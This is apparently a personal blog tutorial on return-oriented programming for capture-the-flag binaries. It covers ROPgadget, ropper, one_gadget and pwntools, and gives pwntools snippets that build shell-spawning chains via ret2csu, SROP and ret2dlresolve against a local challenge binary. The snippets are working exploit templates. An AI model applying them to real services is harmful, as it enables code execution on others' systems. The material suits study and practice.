algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

finding gadgets: ROPgadget, ropper, one_gadget, pwntools

2026-05-125 min readpwn rop tooling

NX enabled means the stack isn't executable, so you can't run your own bytes — you run the program's. Return-oriented programming chains together short instruction sequences that end in ret ("gadgets") into a new program. The skill is half finding gadgets and half not needing the ones that aren't there.

the search tools#

Two do almost the same job; I keep both because their search syntax differs and sometimes one parses a weird binary the other chokes on.

console
# ROPgadget
$ ROPgadget --binary ./chal                       # dump everything
$ ROPgadget --binary ./chal --only "pop|ret"      # filter by mnemonic
$ ROPgadget --binary ./chal --string "/bin/sh"    # find the string, get its addr
$ ROPgadget --binary ./chal --ropchain            # try to auto-build an execve chain

# ropper
$ ropper --file ./chal --search "pop rdi; ret"
$ ropper --file ./chal --search "pop r?i; ret"    # ? and % wildcards
$ ropper --file ./chal --string "/bin/sh"
$ ropper --file ./chal --chain "execve" --badbytes 000a
need command
every gadget ROPgadget --binary ./chal
one specific gadget ropper -f ./chal --search "pop rdi; ret"
a string's address ROPgadget --binary ./chal --string "/bin/sh"
an auto execve chain ROPgadget --binary ./chal --ropchain
chain with bad bytes excluded ropper -f ./chal --chain execve --badbytes 000a

search libc, not just the binary

A small statically-linked binary has few gadgets; libc has a universe of them. Once you've leaked a libc base, run the same searches against ./libc.so.6 and rebase the offsets. Most "impossible, no gadgets" situations are just looking in the wrong object.

one_gadget#

The single most time-saving libc tool. It finds the addresses where one jmp lands you in an execve("/bin/sh", ...) — no chain required — and, crucially, prints the constraints that must hold at that moment:

console
$ one_gadget ./libc.so.6
0x50a37 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  [r10] == NULL || r10 == NULL
  ...

Read the constraints, don't just spray the offsets. Half of "the one_gadget doesn't work" is a register that isn't NULL when you jump. If none fit, set up the registers first or fall back to a system("/bin/sh") chain.

let pwntools assemble it#

Hand-packing a chain is error-prone; ROP does the bookkeeping and even finds simple gadgets itself:

rop.pypython
1
2
3
4
5
6
7
8
9
from pwn import *
elf  = context.binary = ELF("./chal")
libc = ELF("./libc.so.6")

rop = ROP([elf, libc])                 # search both objects
rop.raw(rop.find_gadget(["ret"]))      # 16-byte stack alignment (see below)
rop.call("system", [next(libc.search(b"/bin/sh\x00"))])
print(rop.dump())                      # human-readable chain, annotated
payload = b"A" * 72 + rop.chain()

rop.call("system", [arg]) figures out it needs pop rdi; ret, finds it, and orders the chain. rop.find_gadget(["pop rdi", "pop rsi", "ret"]) asks for a specific one. rop.migrate(new_stack) pivots when the buffer is too short for the whole chain.

when the gadgets aren't there#

Three techniques for the awkward binary — no pop rdx, no /bin/sh, almost no gadgets at all. Each folded; open the one you're stuck on.

ret2csu — control rdx without a pop

Older glibc-linked binaries contain __libc_csu_init, whose tail has a universal gadget: a pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret feeding a mov rdi, r13; mov rsi, r14; mov edx, r15d; call [r12+rbx*8]. That lets you set the first three argument registers and call through a pointer — the classic way to get rdx (the syscall's third arg) when there's no pop rdx; ret anywhere.

python
rop.find_gadget(["pop rdi","pop rsi","pop rdx"])  # if this fails, reach for csu

Newer toolchains drop __libc_csu_init, so check first — ROPgadget --only "pop|ret" and look for the six-pop gadget.

SROP — fake a whole register state

If you can call sigreturn (or set rax = 15 and hit a syscall), the kernel will restore every register from a sigcontext you placed on the stack. One gadget, total register control:

python
1
2
3
4
5
6
7
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_gadget
payload = b"A"*72 + p64(pop_rax_ret) + p64(15) + p64(syscall_gadget) + bytes(frame)

Ideal for tiny static binaries: you don't need argument gadgets, just a syscall and a way to set rax.

ret2dlresolve — call a libc function you didn't import

No libc leak and no useful PLT entries? Forge the relocation structures the dynamic linker uses, and make _dl_runtime_resolve resolve system for you. pwntools builds the fake Elf64_Rela / Elf64_Sym / string:

python
1
2
3
4
dl = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dl.data_addr)     # stage the forged structs into a writable region
rop.ret2dlresolve(dl)
payload = b"A"*72 + rop.chain()

Works best on No PIE, Partial RELRO binaries — Full RELRO resolves everything at load and slams this door.

the movaps tax

glibc's system/printf run movaps against a 16-byte-aligned stack. Land with rsp % 16 == 8 and they SIGSEGV inside libc, which looks exactly like a wrong offset. Insert one extra bare ret gadget before the call to re-align. It's the single most common "my chain is correct but it crashes."